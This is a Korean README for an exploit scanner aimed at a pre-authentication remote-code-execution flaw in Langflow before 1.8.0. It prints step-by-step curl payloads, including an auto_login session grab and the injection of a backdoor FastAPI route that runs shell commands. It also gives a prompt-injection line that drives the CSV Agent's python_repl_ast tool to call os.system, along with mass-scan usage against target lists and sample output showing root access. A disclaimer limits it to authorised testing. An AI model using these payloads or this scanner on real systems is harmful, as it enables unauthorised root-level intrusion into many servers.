
Langflow < 1.8.0을 위한 사전 인증 RCE 스캐너 — Route Injection + Vertex Injection → 코드 실행 (CVSS 9.8)
CVE-2026-27966은 Langflow 1.8.0 이전 버전에서 발견된 심각도(CVSS 9.8)의 인증 전 원격 코드 실행 취약점입니다. 이 취약점은 CSV Agent 컴포넌트에 allow_dangerous_code=True가 하드코딩되어 있어 LangChain의 python_repl_ast 도구가 인증되지 않은 프롬프트 인젝션에 노출됨으로써 발생합니다.
또한 여러 API 엔드포인트에 적절한 인증이 없어 CSV Agent가 구성되지 않은 인스턴스에서도 직접 라우트 인젝션 및 플로우 버텍스 인젝션이 가능합니다.
| Langflow 버전 | 상태 |
|---|---|
| < 1.8.0 | 취약 |
| >= 1.8.0 | 패치됨 |
이 스캐너는 세 가지 상이한 익스플로잇 경로를 테스트합니다:
GET /api/v1/auto_login → 세션/API 키 획득
POST /api/v1/custom_component → 백도어 라우트 등록
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → 백도어 라우트 등록
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → 플로우 UUID 추출 (26개 노출)
POST /api/v1/build/{UUID}/vertices → 악성 버텍스 인젝션
POST /api/v1/run/{UUID} → 버텍스 코드 실행 → RCE
src/lfx/src/lfx/components/langchain_utilities/csv_agent.py에서 CSV Agent 노드는 allow_dangerous_code=True를 하드코딩하여 LangChain의 python_repl_ast 도구를 자동으로 노출합니다:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # 하드코딩됨 — UI를 통해 비활성화 불가
}
agent_csv = create_csv_agent(..., **agent_kwargs)
이로 인해 CSV Agent에 도달하는 모든 프롬프트가 다음을 통해 임의의 Python 코드를 실행할 수 있습니다:
Action: python_repl_ast
Action Input: __import__("os").system("command")
Langflow REST API는 인증 없이 여러 엔드포인트를 노출합니다:
auto_login이 활성화된 인스턴스(많은 Docker 배포에서 기본값)에서 공격자는 유효한 세션 및 API 키를 얻습니다:
curl -sk 'https://target.com/api/v1/auto_login'
# 세션 반환 (access_token 포함) → 전체 API 접근
유효한 API 키를 사용하면 공격자는 POST /api/v1/custom_component를 사용하여 서버 재시작까지 메모리에 유지되는 백도어 FastAPI 라우트를 등록할 수 있습니다:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# 단일 대상
python cve_2026_27966.py -t target.com:7860
# 대량 스캔
python cve_2026_27966.py -f targets.txt
# 대량 스캔 + 결과 저장
python cve_2026_27966.py -f targets.txt -o rce.txt
# 탐지만 수행 (익스플로잇 건너뜀)
python cve_2026_27966.py -f targets.txt --no-exploit
# 상세 출력
python cve_2026_27966.py -f targets.txt -v
-t, --target 단일 대상 (IP:port 또는 도메인)
-f, --file 대상 목록, 한 줄에 하나씩
-o, --output RCE 결과를 파일에 저장
--threads 동시 작업자 수 (기본값: 30)
--no-exploit 탐지만 수행, RCE 시도 건너뜀
-v, --verbose RCE 대상이 아닌 결과도 모두 표시
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE 스캐너
CVSS 9.8 | 인증 전 | 라우트 인젝션 → RCE
호스트 : target.com:7860
Langflow : YES v1.2.0
취약 : YES
API 키 : 필요 없음
RCE : YES
출력 : uid=0(root) gid=0(root) groups=0(root)
시간 : 12.3s
CVE-2026-27966 Langflow RCE 스캐너
대상: 4127 | 스레드: 30 | 익스플로잇: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API 키)
[500/4127] 스캔 중... (12%)
-------------------------------------------------------
합계: 4127 | Langflow: 47 | RCE: 3 | API 보호: 41
-------------------------------------------------------
1단계 — Langflow 탐지
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
2단계 — 플로우 UUID 추출
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
3단계 — 백도어 버텍스 인젝션
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
4단계 — 명령 실행
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
성공적인 익스플로잇은 Langflow Docker 컨테이너에서 루트로 원격 코드 실행을 가능하게 합니다. 그로부터 공격자는 다음을 수행할 수 있습니다:
교육 및 승인된 테스트 목적으로만 사용하십시오.
이 소프트웨어는 승인된 침투 테스트를 수행하는 보안 전문가, 자체 인프라를 감사하는 조직, 그리고 취약점 익스플로잇을 연구하는 연구자를 대상으로 합니다.
컴퓨터 시스템에 대한 무단 접근은 불법이며 다음을 위반할 수 있습니다:
- 미국: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- 인도네시아: UU ITE Pasal 30 & 46
- 유럽 연합: Directive 2013/40/EU
- 영국: Computer Misuse Act 1990
저자는 오용에 대한 책임을 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 수락합니다.
| 리소스 | 링크 |
|---|
이 프로젝트는 Langflow 또는 Logspace와 제휴 관계가 아닙니다.
| 엔드포인트 | 인증 | 노출되는 데이터 |
|---|
GET /api/v1/version | 없음 | Langflow 버전 |
GET /api/v1/health | 없음 | 인스턴스 상태 |
GET /api/v1/flows/basic_examples/ | 없음 | 26개의 예제 플로우 UUID + 구조 |
POST /api/v1/build/{uuid}/vertices | 없음 | 임의 코드 인젝션 허용 |
POST /api/v1/users/ | 없음 | 사용자 생성 (비활성) |
GET /openapi.json | 없음 | 전체 API 문서 |
| 지표 | 값 |
|---|
| 공격 벡터 | 네트워크 (원격) |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경되지 않음 |
| 기밀성 | 높음 |
| 무결성 | 높음 |
| 가용성 | 높음 |
| GitHub 보안 권고 | GHSA-3645-fxcv-hqr4 |
| 수정 커밋 | d8c6480d |
| Metasploit 모듈 | Rapid7 |
| NVD 항목 | CVE-2026-27966 |